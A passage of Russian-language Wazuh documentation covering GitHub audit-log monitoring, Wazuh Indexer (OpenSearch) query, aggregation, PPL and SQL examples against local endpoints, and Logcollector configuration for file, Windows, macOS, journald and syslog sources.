  <api_auth>
    <org_name>development-org</org_name>
    <api_token>ghp_development_token_xxxxxxxxxxxxx</api_token>
  </api_auth>
  <api_parameters>
    <event_type>all</event_type>
  </api_parameters>
</github>
```

### Параметры модуля

| Параметр | Значение по умолчанию | Описание |
|----------|-----------------------|----------|
| `enabled` | yes | Включение или отключение модуля |
| `interval` | 10m | Интервал опроса API (s/m/h/d) |
| `time_delay` | 30s | Задержка сканирования для учета лага API |
| `curl_max_size` | 1M | Максимальный размер ответа API |
| `only_future_events` | yes | Сбор только новых событий после первого запуска |
| `org_name` | - | Имя организации GitHub |
| `api_token` | - | Персональный токен доступа |
| `event_type` | all | Тип событий для мониторинга (all, web, git) |

## Типы отслеживаемых событий

### Категория web

Web-события охватывают административные действия в организации:

| Категория | Примеры событий |
|-----------|----------------|
| Репозитории | Создание, удаление, изменение видимости, архивация, fork |
| Организация | Изменение настроек, обновление политик, переименование |
| Команды | Создание, удаление, добавление и удаление участников |
| Участники | Приглашение, удаление, изменение ролей |
| Webhooks | Создание, удаление, изменение конфигурации |
| Приложения | Установка, удаление, изменение разрешений GitHub Apps |
| Secret scanning | Обнаружение секретов в коде, оповещения |
| Dependabot | Оповещения об уязвимостях зависимостей |

### Категория git

Git-события фиксируют операции с кодом:

| Событие | Описание |
|---------|----------|
| `git.clone` | Клонирование репозитория |
| `git.fetch` | Получение изменений из удаленного репозитория |
| `git.push` | Отправка изменений в удаленный репозиторий |

## Примеры алертов

### Изменение видимости репозитория

```json
{
  "rule": {
    "id": "91400",
    "level": 9,
    "description": "GitHub: Repository visibility changed to public"
  },
  "data": {
    "github": {
      "action": "repo.access",
      "actor": "admin-user",
      "org": "my-organization",
      "repo": "my-organization/internal-tools",
      "visibility": "public",
      "created_at": "2025-01-15T10:30:00Z"
    }
  }
}
```

### Добавление внешнего коллаборатора

```json
{
  "rule": {
    "id": "91410",
    "level": 6,
    "description": "GitHub: External collaborator added to repository"
  },
  "data": {
    "github": {
      "action": "repo.add_member",
      "actor": "repo-admin",
      "org": "my-organization",
      "repo": "my-organization/production-app",
      "user": "external-developer",
      "created_at": "2025-01-15T11:00:00Z"
    }
  }
}
```

### Оповещение secret scanning

```json
{
  "rule": {
    "id": "91420",
    "level": 12,
    "description": "GitHub: Secret detected in repository code"
  },
  "data": {
    "github": {
      "action": "secret_scanning_alert.created",
      "actor": "github-bot",
      "org": "my-organization",
      "repo": "my-organization/api-service",
      "data": {
        "alert_number": 42,
        "secret_type": "aws_access_key_id",
        "resolution": null
      }
    }
  }
}
```

### Удаление команды

```json
{
  "rule": {
    "id": "91430",
    "level": 7,
    "description": "GitHub: Team deleted from organization"
  },
  "data": {
    "github": {
      "action": "team.destroy",
      "actor": "org-owner",
      "org": "my-organization",
      "team": "security-team",
      "created_at": "2025-01-15T14:00:00Z"
    }
  }
}
```

## Сценарии использования

### Обнаружение изменений видимости репозиториев

- Изменение приватного репозитория на публичный
- Изменение настроек fork для приватных репозиториев
- Архивация активных репозиториев
- Удаление репозиториев с production-кодом

### Мониторинг новых коллабораторов

- Добавление внешних коллабораторов к репозиториям с критическим кодом
- Приглашение пользователей в организацию с ролью Owner
- Добавление участников в команды с доступом к production-репозиториям
- Изменение разрешений существующих участников

### Мониторинг secret scanning

- Обнаружение API-ключей AWS, GCP, Azure в коде
- Обнаружение токенов баз данных и сервисных аккаунтов
- Обнаружение приватных ключей SSH и TLS-сертификатов
- Отслеживание статуса разрешения обнаруженных секретов

### Контроль административных действий

- Изменение политик организации (требование 2FA, ограничение fork)
- Установка и удаление GitHub Apps с расширенными разрешениями
- Создание и изменение webhook-конфигураций
- Изменение настроек защиты веток (branch protection rules)

## Устранение неполадок

### Модуль не получает события

- Проверьте, что организация имеет подписку GitHub Enterprise Cloud
- Убедитесь, что токен создан владельцем организации (Owner)
- Проверьте, что токен содержит scope `audit_log` или `admin:org`
- Убедитесь, что имя организации указано корректно в `org_name`
- Просмотрите журнал: `/var/ossec/logs/ossec.log`

### Ошибка 401 Unauthorized

- Проверьте, что токен не отозван и не истек
- Убедитесь, что токен является классическим (Personal access tokens classic), а не fine-grained
- Проверьте, что SSO авторизован для токена (если организация использует SAML SSO)

### Неполные данные аудита

- Git-события доступны только с подпиской GitHub Enterprise Cloud
- Некоторые события могут задерживаться до 30 минут
- Увеличьте `time_delay` для учета задержки API
- При первом запуске установите `only_future_events` в `no`

### Ошибка Rate Limit

- GitHub API ограничивает количество запросов до 1750 в час для Enterprise
- Увеличьте значение `interval` (например, до 5m или 10m)
- Для организаций с высокой активностью рассмотрите фильтрацию по `event_type`

## Связанные разделы

- [Мониторинг облачной безопасности](/docs/wazuh/cloud-security/) - обзор облачных интеграций
- [Мониторинг Office 365](/docs/wazuh/cloud-security/wazuh-office365-monitoring/) - интеграция с Microsoft 365
- [Возможности Wazuh](/docs/wazuh/capabilities/) - модули безопасности платформы


---

# Wazuh Indexer API - запросы и работа с данными

Source: https://opennix.org/docs/wazuh/infrastructure/wazuh-indexer-api/


Wazuh Indexer построен на базе OpenSearch и предоставляет REST API для поиска, анализа и управления данными безопасности. Через API можно выполнять DSL-запросы к алертам, строить агрегации для аналитических отчетов, использовать PPL и SQL для интерактивного анализа, а также управлять шаблонами индексов и маппингами полей. Понимание работы с Indexer API необходимо для построения кастомных дашбордов, автоматизации и интеграции Wazuh с внешними системами.

## Индексные паттерны Wazuh

Wazuh Indexer хранит данные в нескольких типах индексов, каждый из которых имеет свою функцию и период ротации.

### Основные индексы

| Индекс | Назначение | Ротация |
|---|---|---|
| `wazuh-alerts-*` | Алерты, сгенерированные при срабатывании правил | Ежедневно |
| `wazuh-archives-*` | Все события, включая не вызвавшие алертов | Ежедневно |
| `wazuh-monitoring-*` | Статусы подключения агентов | Еженедельно |
| `wazuh-statistics-*` | Метрики производительности сервера Wazuh | Еженедельно |

### Индексы состояния (State indices)

Начиная с Wazuh 4.14, данные инвентаризации и уязвимостей хранятся в отдельных индексах состояния:

| Индекс | Содержимое |
|---|---|
| `wazuh-states-vulnerabilities-*` | Обнаруженные уязвимости и их критичность |
| `wazuh-states-inventory-packages-*` | Установленное программное обеспечение |
| `wazuh-states-inventory-processes-*` | Запущенные процессы |
| `wazuh-states-inventory-ports-*` | Открытые сетевые порты |
| `wazuh-states-inventory-hardware-*` | CPU, память, оборудование |
| `wazuh-states-inventory-system-*` | ОС, архитектура, hostname |
| `wazuh-states-inventory-networks-*` | Сетевые адреса IPv4/IPv6 |

### Просмотр индексов

Список всех индексов Wazuh:

```bash
curl -sk -u admin:$PASSWORD \
  "https://localhost:9200/_cat/indices/wazuh-*?v&s=index"
```

Размер конкретного индекса:

```bash
curl -sk -u admin:$PASSWORD \
  "https://localhost:9200/_cat/indices/wazuh-alerts-*?v&h=index,docs.count,store.size&s=index"
```

## Поиск алертов с помощью DSL-запросов

OpenSearch Query DSL (Domain Specific Language) - основной язык запросов для поиска данных в Wazuh Indexer.

### Базовый поиск (match)

Поиск алертов по описанию правила:

```json
GET wazuh-alerts-*/_search
{
  "size": 10,
  "query": {
    "match": {
      "rule.description": "authentication failure"
    }
  },
  "sort": [
    { "timestamp": { "order": "desc" } }
  ]
}
```

### Точное совпадение (term)

Поиск алертов определенного уровня:

```json
GET wazuh-alerts-*/_search
{
  "query": {
    "term": {
      "rule.level": 12
    }
  }
}
```

### Составной запрос (bool)

Комбинирование условий с помощью `must`, `should`, `must_not` и `filter`:

```json
GET wazuh-alerts-*/_search
{
  "query": {
    "bool": {
      "must": [
        { "match": { "rule.groups": "authentication_failed" } }
      ],
      "filter": [
        { "range": { "timestamp": { "gte": "now-24h" } } },
        { "term": { "agent.name": "web-server-01" } }
      ],
      "must_not": [
        { "term": { "rule.level": 3 } }
      ]
    }
  },
  "sort": [{ "timestamp": "desc" }],
  "size": 50
}
```

### Диапазонный запрос (range)

Поиск алертов за определенный период:

```json
GET wazuh-alerts-*/_search
{
  "query": {
    "bool": {
      "filter": [
        {
          "range": {
            "timestamp": {
              "gte": "2025-01-01T00:00:00",
              "lte": "2025-01-31T23:59:59",
              "format": "yyyy-MM-dd'T'HH:mm:ss"
            }
          }
        },
        {
          "range": {
            "rule.level": { "gte": 10 }
          }
        }
      ]
    }
  }
}
```

### Поиск по вложенным полям

Wazuh хранит данные MITRE ATT&CK в структурированных полях:

```json
GET wazuh-alerts-*/_search
{
  "query": {
    "bool": {
      "must": [
        { "term": { "rule.mitre.id": "T1110" } },
        { "term": { "rule.mitre.tactic": "Credential Access" } }
      ]
    }
  },
  "_source": ["timestamp", "rule.description", "rule.level", "agent.name"]
}
```

### Wildcard и regex

Поиск с использованием подстановочных символов:

```json
GET wazuh-alerts-*/_search
{
  "query": {
    "wildcard": {
      "data.srcip": "192.168.1.*"
    }
  }
}
```

Поиск с регулярным выражением:

```json
GET wazuh-alerts-*/_search
{
  "query": {
    "regexp": {
      "data.url": ".*\\.(php|asp|jsp)\\?.*id=.*"
    }
  }
}
```

## Агрегации

Агрегации позволяют получать статистику и аналитические отчеты по данным Wazuh без необходимости выгружать все документы.

### Terms - топ значений

Топ-10 правил, которые срабатывали чаще всего:

```json
GET wazuh-alerts-*/_search
{
  "size": 0,
  "query": {
    "range": { "timestamp": { "gte": "now-7d" } }
  },
  "aggs": {
    "top_rules": {
      "terms": {
        "field": "rule.id",
        "size": 10,
        "order": { "_count": "desc" }
      },
      "aggs": {
        "rule_description": {
          "terms": { "field": "rule.description.keyword", "size": 1 }
        }
      }
    }
  }
}
```

### Date histogram - временная шкала

Количество алертов по часам за последние сутки:

```json
GET wazuh-alerts-*/_search
{
  "size": 0,
  "query": {
    "range": { "timestamp": { "gte": "now-24h" } }
  },
  "aggs": {
    "alerts_over_time": {
      "date_histogram": {
        "field": "timestamp",
        "fixed_interval": "1h"
      },
      "aggs": {
        "by_level": {
          "range": {
            "field": "rule.level",
            "ranges": [
              { "key": "low", "from": 0, "to": 7 },
              { "key": "medium", "from": 7, "to": 12 },
              { "key": "critical", "from": 12, "to": 16 }
            ]
          }
        }
      }
    }
  }
}
```

### Cardinality - уникальные значения

Количество уникальных агентов, IP-адресов и правил:

```json
GET wazuh-alerts-*/_search
{
  "size": 0,
  "query": {
    "range": { "timestamp": { "gte": "now-24h" } }
  },
  "aggs": {
    "unique_agents": {
      "cardinality": { "field": "agent.id" }
    },
    "unique_source_ips": {
      "cardinality": { "field": "data.srcip" }
    },
    "unique_rules": {
      "cardinality": { "field": "rule.id" }
    }
  }
}
```

### Вложенные агрегации

Топ-5 агентов с разбивкой по тактикам MITRE ATT&CK:

```json
GET wazuh-alerts-*/_search
{
  "size": 0,
  "aggs": {
    "by_agent": {
      "terms": { "field": "agent.name", "size": 5 },
      "aggs": {
        "by_tactic": {
          "terms": { "field": "rule.mitre.tactic", "size": 5 }
        },
        "max_level": {
          "max": { "field": "rule.level" }
        }
      }
    }
  }
}
```

## Шаблоны индексов и маппинги полей

### Просмотр текущего шаблона

```bash
curl -sk -u admin:$PASSWORD \
  "https://localhost:9200/_template/wazuh?pretty"
```

### Основные поля Wazuh-алертов

| Поле | Тип | Описание |
|---|---|---|
| `timestamp` | date | Время события |
| `rule.id` | keyword | Идентификатор правила |
| `rule.level` | integer | Уровень критичности (0-15) |
| `rule.description` | text/keyword | Описание правила |
| `rule.groups` | keyword | Группы правила |
| `rule.mitre.id` | keyword | MITRE ATT&CK technique ID |
| `rule.mitre.tactic` | keyword | MITRE ATT&CK тактика |
| `agent.id` | keyword | Идентификатор агента |
| `agent.name` | keyword | Имя агента |
| `agent.ip` | ip | IP-адрес агента |
| `data.srcip` | ip | IP-адрес источника |
| `data.dstip` | ip | IP-адрес назначения |
| `data.srcport` | integer | Порт источника |
| `data.dstport` | integer | Порт назначения |
| `location` | keyword | Источник лога |
| `full_log` | text | Полный текст лог-записи |

### Обновление шаблона

Для добавления кастомного индексного паттерна:

```bash
# Скачать текущий шаблон
curl -so template.json \
  "https://raw.githubusercontent.com/wazuh/wazuh/v4.14.4/extensions/elasticsearch/7.x/wazuh-template.json"

# Добавить кастомный паттерн в index_patterns
# Загрузить обновленный шаблон
curl -sk -u admin:$PASSWORD \
  -XPUT "https://localhost:9200/_template/wazuh-custom" \
  -H "Content-Type: application/json" \
  -d @template.json
```

### Конфликты маппингов

Если поле имеет разные типы в разных индексах, возникает конфликт маппинга. Проверка:

```bash
curl -sk -u admin:$PASSWORD \
  "https://localhost:9200/wazuh-alerts-*/_mapping?pretty" | \
  jq '.. | .type? // empty' | sort | uniq -c | sort -rn
```

## Dev Tools - консоль в Dashboard

Wazuh Dashboard включает консоль Dev Tools (унаследованную от OpenSearch Dashboards), которая позволяет выполнять API-запросы без использования curl.

### Доступ к Dev Tools

1. Откройте Wazuh Dashboard
2. Перейдите в меню OpenSearch Dashboards - Dev Tools
3. Или используйте URL: `https://<dashboard>:443/app/dev_tools#/console`

### Примеры использования

В консоли Dev Tools не нужно указывать URL и аутентификацию:

```
# Проверить состояние кластера
GET _cluster/health

# Поиск последних критических алертов
GET wazuh-alerts-*/_search
{
  "size": 5,
  "query": {
    "bool": {
      "filter": [
        { "range": { "rule.level": { "gte": 12 } } },
        { "range": { "timestamp": { "gte": "now-1h" } } }
      ]
    }
  },
  "sort": [{ "timestamp": "desc" }]
}

# Статистика по агентам
GET wazuh-alerts-*/_search
{
  "size": 0,
  "aggs": {
    "agents": {
      "terms": { "field": "agent.name", "size": 20 }
    }
  }
}
```

### Автодополнение

Dev Tools поддерживает автодополнение имен индексов, полей и ключевых слов DSL. Используйте `Ctrl+Space` для вызова подсказок.

## PPL - Piped Processing Language

PPL предоставляет синтаксис, аналогичный Unix-пайпам, для запросов к данным. Удобен для аналитиков, знакомых с Splunk SPL.

### Базовый синтаксис

```
source = wazuh-alerts-* | where rule.level >= 10 | sort - timestamp | head 20
```

### Фильтрация и агрегация

```
source = wazuh-alerts-*
| where timestamp > '2025-01-01 00:00:00'
| where rule.level >= 7
| stats count() as alert_count by rule.id, rule.description
| sort - alert_count
| head 10
```

### Выполнение PPL через API

```bash
curl -sk -u admin:$PASSWORD \
  -XPOST "https://localhost:9200/_plugins/_ppl" \
  -H "Content-Type: application/json" \
  -d '{
    "query": "source = wazuh-alerts-* | where rule.level >= 12 | stats count() by agent.name | sort - count()"
  }'
```

### Временные фильтры в PPL

```
source = wazuh-alerts-*
| where timestamp > DATE_SUB(NOW(), INTERVAL 24 HOUR)
| stats count() as alerts by span(timestamp, 1h) as hour
| sort hour
```

### Группировка с несколькими метриками

```
source = wazuh-alerts-*
| where timestamp > DATE_SUB(NOW(), INTERVAL 7 DAY)
| stats count() as total, max(rule.level) as max_level, dc(agent.id) as agents
  by rule.mitre.tactic
| sort - total
```

## SQL Plugin

OpenSearch SQL plugin позволяет использовать привычный SQL-синтаксис для запросов к данным Wazuh.

### Базовые запросы

```sql
SELECT timestamp, rule.id, rule.level, rule.description, agent.name
FROM wazuh-alerts-*
WHERE rule.level >= 10
  AND timestamp > NOW() - INTERVAL 24 HOUR
ORDER BY timestamp DESC
LIMIT 50
```

### Агрегации в SQL

```sql
SELECT rule.id, rule.description, COUNT(*) as count
FROM wazuh-alerts-*
WHERE timestamp > NOW() - INTERVAL 7 DAY
GROUP BY rule.id, rule.description
ORDER BY count DESC
LIMIT 10
```

### Выполнение SQL через API

```bash
curl -sk -u admin:$PASSWORD \
  -XPOST "https://localhost:9200/_plugins/_sql" \
  -H "Content-Type: application/json" \
  -d '{
    "query": "SELECT agent.name, COUNT(*) as alerts FROM wazuh-alerts-* WHERE rule.level >= 7 GROUP BY agent.name ORDER BY alerts DESC"
  }'
```

### Перевод SQL в DSL

Полезно для отладки - преобразование SQL в эквивалентный DSL-запрос:

```bash
curl -sk -u admin:$PASSWORD \
  -XPOST "https://localhost:9200/_plugins/_sql/_explain" \
  -H "Content-Type: application/json" \
  -d '{
    "query": "SELECT * FROM wazuh-alerts-* WHERE rule.level >= 12 LIMIT 10"
  }'
```

## Bulk-операции

Массовые операции полезны для управления данными и автоматизации.

### Bulk-поиск (msearch)

Выполнение нескольких запросов за один вызов:

```bash
curl -sk -u admin:$PASSWORD \
  -XPOST "https://localhost:9200/_msearch" \
  -H "Content-Type: application/x-ndjson" \
  -d '
{"index":"wazuh-alerts-*"}
{"size":0,"query":{"range":{"rule.level":{"gte":12}}},"aggs":{"count":{"value_count":{"field":"_id"}}}}
{"index":"wazuh-alerts-*"}
{"size":0,"query":{"range":{"timestamp":{"gte":"now-1h"}}},"aggs":{"count":{"value_count":{"field":"_id"}}}}
'
```

### Scroll API для больших выборок

При необходимости получить более 10 000 документов используйте Scroll API:

```bash
# Инициализация scroll
curl -sk -u admin:$PASSWORD \
  -XPOST "https://localhost:9200/wazuh-alerts-*/_search?scroll=5m" \
  -H "Content-Type: application/json" \
  -d '{
    "size": 1000,
    "query": { "range": { "timestamp": { "gte": "now-30d" } } },
    "sort": [{ "timestamp": "asc" }]
  }'

# Продолжение scroll (использовать _scroll_id из ответа)
curl -sk -u admin:$PASSWORD \
  -XPOST "https://localhost:9200/_search/scroll" \
  -H "Content-Type: application/json" \
  -d '{
    "scroll": "5m",
    "scroll_id": "<SCROLL_ID>"
  }'
```

### Удаление по запросу (delete by query)

Удаление старых алертов низкого уровня:

```bash
curl -sk -u admin:$PASSWORD \
  -XPOST "https://localhost:9200/wazuh-alerts-*/_delete_by_query" \
  -H "Content-Type: application/json" \
  -d '{
    "query": {
      "bool": {
        "filter": [
          { "range": { "timestamp": { "lte": "now-90d" } } },
          { "range": { "rule.level": { "lte": 3 } } }
        ]
      }
    }
  }'
```

## Сравнение с другими SIEM-системами

### Elasticsearch Query DSL

Wazuh Indexer (OpenSearch) использует синтаксис, полностью совместимый с Elasticsearch 7.x Query DSL. Основные отличия:

| Функция | Wazuh Indexer (OpenSearch) | Elasticsearch |
|---|---|---|
| Базовый DSL | Идентичный синтаксис | Идентичный синтаксис |
| SQL Plugin | `_plugins/_sql` | `_sql` (X-Pack) |
| PPL | `_plugins/_ppl` | Отсутствует |
| Alerting | `_plugins/_alerting` | X-Pack Watcher |
| Безопасность | Security Plugin (встроено) | X-Pack Security (платно) |

Миграция запросов из Elasticsearch в Wazuh Indexer не требует изменений в DSL-синтаксисе.

### Splunk SPL

| Задача | Wazuh PPL | Splunk SPL |
|---|---|---|
| Поиск | `source = index \| where field = 'value'` | `index=main field=value` |
| Агрегация | `stats count() by field` | `stats count by field` |
| Сортировка | `sort - field` | `sort - field` |
| Лимит | `head N` | `head N` |
| Временной фильтр | `where timestamp > ...` | `earliest=-24h` |

PPL в OpenSearch наиболее близок к SPL по синтаксису, что упрощает миграцию для аналитиков из Splunk.

### QRadar AQL

| Задача | Wazuh SQL | QRadar AQL |
|---|---|---|
| Поиск событий | `SELECT * FROM wazuh-alerts-*` | `SELECT * FROM events` |
| Фильтрация | `WHERE rule.level >= 10` | `WHERE severity >= 7` |
| Агрегация | `GROUP BY rule.id` | `GROUP BY qid` |
| Временной фильтр | `WHERE timestamp > NOW() - INTERVAL 1 HOUR` | `WHERE starttime > NOW - 1 HOURS` |

SQL-синтаксис в OpenSearch близок к стандартному SQL, что упрощает адаптацию для пользователей QRadar.

## Устранение неполадок

### Медленные запросы

**Симптом**: запросы выполняются дольше 10 секунд.

Диагностика:

```bash
# Проверка нагрузки на кластер
curl -sk -u admin:$PASSWORD "https://localhost:9200/_nodes/stats/os,jvm?pretty"

# Проверка медленных запросов (включить slow log)
curl -sk -u admin:$PASSWORD \
  -XPUT "https://localhost:9200/wazuh-alerts-*/_settings" \
  -H "Content-Type: application/json" \
  -d '{
    "index.search.slowlog.threshold.query.warn": "5s",
    "index.search.slowlog.threshold.query.info": "2s"
  }'

# Просмотр slow log
curl -sk -u admin:$PASSWORD \
  "https://localhost:9200/_cat/indices/.opendistro-slow-log-*?v"
```

Решения:

- Используйте `filter` вместо `must` для условий, не требующих релевантности
- Ограничивайте временной диапазон запроса - не запрашивайте данные за все время
- Добавьте `"size": 0` если нужны только агрегации
- Избегайте `wildcard` и `regexp` на полях без keyword-маппинга
- Увеличьте JVM heap, если сборщик мусора работает слишком часто

### Конфликты маппингов полей

**Симптом**: ошибка `illegal_argument_exception` при запросе.

```bash
# Проверка маппинга конкретного поля
curl -sk -u admin:$PASSWORD \
  "https://localhost:9200/wazuh-alerts-*/_mapping/field/data.srcip?pretty"
```

Решение: поле определено с разными типами в разных индексах. Необходимо обновить шаблон и переиндексировать данные или использовать `keyword` суффикс:

```json
{ "term": { "rule.description.keyword": "Authentication failure" } }
```

### Индекс не найден (index_not_found_exception)

**Симптом**: ошибка `no such index [wazuh-alerts-*]`.

Диагностика:

```bash
# Проверить существующие индексы
curl -sk -u admin:$PASSWORD "https://localhost:9200/_cat/indices/wazuh-*?v"

# Проверить алиасы
curl -sk -u admin:$PASSWORD "https://localhost:9200/_cat/aliases/wazuh-*?v"

# Проверить, что Filebeat отправляет данные
curl -sk -u admin:$PASSWORD \
  "https://localhost:9200/_cat/indices/wazuh-alerts-*?v&s=index:desc&h=index,docs.count,store.size"
```

Решения:

- Убедитесь, что Filebeat запущен и подключен к Indexer
- Проверьте конфигурацию Filebeat: `filebeat.yml` должен содержать корректный `output.elasticsearch.hosts`
- Проверьте шаблон индекса: `_template/wazuh`
- Для архивных данных убедитесь, что `logall_json` включен в `ossec.conf`

### Превышение лимита результатов

**Симптом**: ошибка `Result window is too large` при запросе с `"from": 10000`.

OpenSearch по умолчанию ограничивает `from + size` значением 10 000. Решения:

- Используйте Scroll API для полной выгрузки данных
- Используйте `search_after` для пагинации
- Для аналитики используйте агрегации вместо выгрузки документов

```json
GET wazuh-alerts-*/_search
{
  "size": 100,
  "query": { "match_all": {} },
  "sort": [{ "timestamp": "desc" }, { "_id": "asc" }],
  "search_after": ["2025-01-15T10:30:00.000Z", "abc123"]
}
```

## Дополнительные материалы

- [Установка Wazuh Indexer](/docs/wazuh/installation/wazuh-indexer-installation/) - развертывание и настройка
- [Настройка Wazuh Dashboard](/docs/wazuh/infrastructure/wazuh-dashboard-configuration/) - визуализация и анализ данных
- [Архитектура Wazuh](/docs/wazuh/getting-started/wazuh-architecture/) - обзор компонентов платформы
- [Сбор логов](/docs/wazuh/capabilities/wazuh-log-data-collection/) - настройка источников данных


---

# Wazuh Log Data Collection - сбор журналов событий

Source: https://opennix.org/docs/wazuh/capabilities/wazuh-log-data-collection/


Модуль Logcollector в Wazuh собирает и консолидирует журналы событий из различных источников - файлов на локальной системе, Windows Event Log, macOS Unified Logging System, удаленных устройств через syslog и выходных данных команд. Собранные данные передаются на сервер Wazuh, где модуль Analysisd выполняет декодирование, сопоставление с правилами и генерацию алертов. Правильная настройка сбора логов является основой всей системы мониторинга безопасности.

## Обзор источников логов

Wazuh поддерживает сбор данных из следующих типов источников:

- **Файловые логи** - syslog, JSON, Apache, Nginx, PostgreSQL, MySQL и другие форматы
- **Windows Event Log** - через механизм EventChannel с поддержкой XPATH-фильтрации
- **macOS Unified Logging System** - нативная интеграция с ULS через предикатные фильтры
- **Журнал systemd** - сбор из journald на Linux-системах
- **Удаленный syslog** - прием сообщений от сетевых устройств и приложений
- **Вывод команд** - периодическое выполнение команд и анализ их вывода

## Конфигурация localfile

Основным элементом конфигурации является блок `<localfile>` в файле `ossec.conf` на агенте. Каждый блок определяет один источник данных.

### Сбор файловых логов

```xml
<localfile>
  <log_format>syslog</log_format>
  <location>/var/log/syslog</location>
</localfile>

<localfile>
  <log_format>syslog</log_format>
  <location>/var/log/auth.log</location>
</localfile>
```

| Параметр | Описание |
|----------|----------|
| `location` | Путь к файлу лога, каналу событий, `macos` или `journald` |
| `log_format` | Формат лога (определяет метод разбора) |
| `only-future-events` | Читать только новые записи после старта (yes/no, по умолчанию yes) |
| `ignore_binaries` | Пропускать бинарные файлы (yes/no) |
| `age` | Обрабатывать только недавно измененные файлы (например, `1d`) |
| `exclude` | Шаблон для исключения файлов |

### Поддержка шаблонов в пути

Wazuh поддерживает подстановочные знаки и шаблоны дат в параметре `location`:

```xml
<!-- Подстановочный знак -->
<localfile>
  <log_format>syslog</log_format>
  <location>/var/log/*.log</location>
</localfile>

<!-- Шаблон даты -->
<localfile>
  <log_format>syslog</log_format>
  <location>/var/log/app-%Y-%m-%d.log</location>
</localfile>
```

## Форматы логов (log_format)

### syslog

Стандартный формат сообщений syslog. Используется для большинства системных журналов на Linux и Unix.

```xml
<localfile>
  <log_format>syslog</log_format>
  <location>/var/log/messages</location>
</localfile>
```

### json

JSON-структурированные логи. Wazuh автоматически разбирает поля JSON-объекта и делает их доступными для правил обнаружения.

```xml
<localfile>
  <log_format>json</log_format>
  <location>/var/log/app/events.json</location>
  <label key="@source">application</label>
</localfile>
```

### multi-line

Логи, в которых одно событие занимает несколько строк. Параметр определяет фиксированное количество строк на событие.

```xml
<localfile>
  <log_format>multi-line:3</log_format>
  <location>/var/log/multiline-app.log</location>
</localfile>
```

Число после двоеточия указывает количество строк, объединяемых в одно событие.

### multi-line-regex

Для логов с переменным количеством строк на событие используется регулярное выражение для определения начала или конца записи:

```xml
<localfile>
  <log_format>multi-line-regex</log_format>
  <location>/var/log/java-app.log</location>
  <multiline_regex>^\d{4}-\d{2}-\d{2}</multiline_regex>
</localfile>
```

В этом примере каждое новое событие начинается с даты в формате `YYYY-MM-DD`.

### eventchannel

Сбор событий Windows через Event Channel API. Поддерживает XPATH-фильтрацию для отбора нужных событий.

```xml
<localfile>
  <location>Security</location>
  <log_format>eventchannel</log_format>
  <query>Event/System[EventID != 5145 and EventID != 5156]</query>
</localfile>
```

### macos

Сбор логов macOS через Unified Logging System (ULS). Поддерживает предикатные фильтры для уточнения выборки.

```xml
<localfile>
  <location>macos</location>
  <log_format>macos</log_format>
  <query type="log,trace" level="info">process == "sshd" OR process == "sudo"</query>
</localfile>
```

### journald

Сбор из журнала systemd:

```xml
<localfile>
  <location>journald</location>
  <log_format>journald</log_format>
  <filter field="_SYSTEMD_UNIT">sshd.service</filter>
</localfile>
```

### command и full_command

Выполнение команд и анализ вывода. `command` обрабатывает каждую строку отдельно, `full_command` - весь вывод как одно событие.

```xml
<localfile>
  <log_format>command</log_format>
  <command>df -P</command>
  <frequency>360</frequency>
</localfile>

<localfile>
  <log_format>full_command</log_format>
  <command>netstat -tulnp</command>
  <frequency>120</frequency>
  <alias>netstat-listening</alias>
</localfile>
```

### audit

Формат для чтения журнала Linux Audit (auditd):

```xml
<localfile>
  <log_format>audit</log_format>
  <location>/var/log/audit/audit.log</location>
</localfile>
```

## Удаленный syslog

Для приема syslog-сообщений от устройств, не поддерживающих установку агента (маршрутизаторы, коммутаторы, межсетевые экраны), на сервере Wazuh настраивается блок `<remote>`:

```xml
<remote>
  <connection>syslog</connection>
  <port>514</port>
  <protocol>udp</protocol>
  <allowed-ips>10.0.0.0/8</allowed-ips>
</remote>
```

| Параметр | Описание |
|----------|----------|
| `connection` | Тип подключения: `syslog` или `secure` (для агентов) |
| `port` | Порт прослушивания (по умолчанию 514) |
| `protocol` | Транспортный протокол: `udp` или `tcp` |
| `allowed-ips` | Разрешенные IP-адреса и подсети |
| `local_ip` | Локальный IP-адрес для прослушивания |
| `ipv6` | Включение поддержки IPv6 (yes/no) |

Для TCP-подключений:

```xml
<remote>
  <connection>syslog</connection>
  <port>514</port>
  <protocol>tcp</protocol>
  <allowed-ips>192.168.1.0/24</allowed-ips>
</remote>
```

## Windows EventChannel

Мониторинг журналов событий Windows настраивается через формат `eventchannel`. Поддерживаются все стандартные каналы (Security, System, Application) и пользовательские каналы приложений.

### Основные каналы

```xml
<localfile>
  <location>Security</location>
  <log_format>eventchannel</log_format>
</localfile>

<localfile>
  <location>System</location>
  <log_format>eventchannel</log_format>
</localfile>

<localfile>
  <location>Application</location>
  <log_format>eventchannel</log_format>
</localfile>
```

### Фильтрация через XPATH

XPATH-запросы позволяют отбирать конкретные события:

```xml
<!-- Только события входа в систему -->
<localfile>
  <location>Security</location>
  <log_format>eventchannel</log_format>
  <query>Event/System[EventID=4624 or EventID=4625]</query>
</localfile>

<!-- Исключение шумных событий -->
<localfile>
  <location>Security</location>
  <log_format>eventchannel</log_format>
  <query>Event/System[EventID != 5145 and EventID != 5156 and EventID != 4658]</query>
</localfile>
```

### Каналы Sysmon

```xml
<localfile>
  <location>Microsoft-Windows-Sysmon/Operational</location>
  <log_format>eventchannel</log_format>
</localfile>
```

### Каналы PowerShell

```xml
<localfile>
  <location>Microsoft-Windows-PowerShell/Operational</location>
  <log_format>eventchannel</log_format>
</localfile>
```

## macOS Unified Logging System

На macOS агент Wazuh использует Unified Logging System для сбора системных и прикладных логов. Фильтрация выполняется через предикатные выражения.

```xml
<localfile>
  <location>macos</location>
  <log_format>macos</log_format>
  <query type="log,trace" level="info">
    process == "sshd" OR process == "sudo" OR process == "login"
  </query>
</localfile>
```

| Атрибут query | Описание |
|---------------|----------|
| `type` | Типы записей: `log`, `trace`, `activity` |
| `level` | Минимальный уровень: `default`, `info`, `debug` |

Примеры предикатных фильтров:

```xml
<!-- Мониторинг авторизации -->
<localfile>
  <location>macos</location>
  <log_format>macos</log_format>
  <query type="log" level="info">subsystem == "com.apple.Authorization"</query>
</localfile>

<!-- Мониторинг сетевых подключений -->
<localfile>
  <location>macos</location>
  <log_format>macos</log_format>
  <query type="log" level="default">category == "connection"</query>
</localfile>
```

## Метки и теги (labels)

Метки позволяют добавлять произвольные поля к событиям, упрощая категоризацию и поиск:

```xml
<localfile>
  <log_format>json</log_format>
  <location>/var/log/webapp/access.json</location>
  <label key="@source">webapp-frontend</label>
  <label key="@environment">production</label>
</localfile>
```

Метки добавляются в JSON-вывод алерта и доступны для фильтрации в дашборде Wazuh.

## Обработка ротации логов

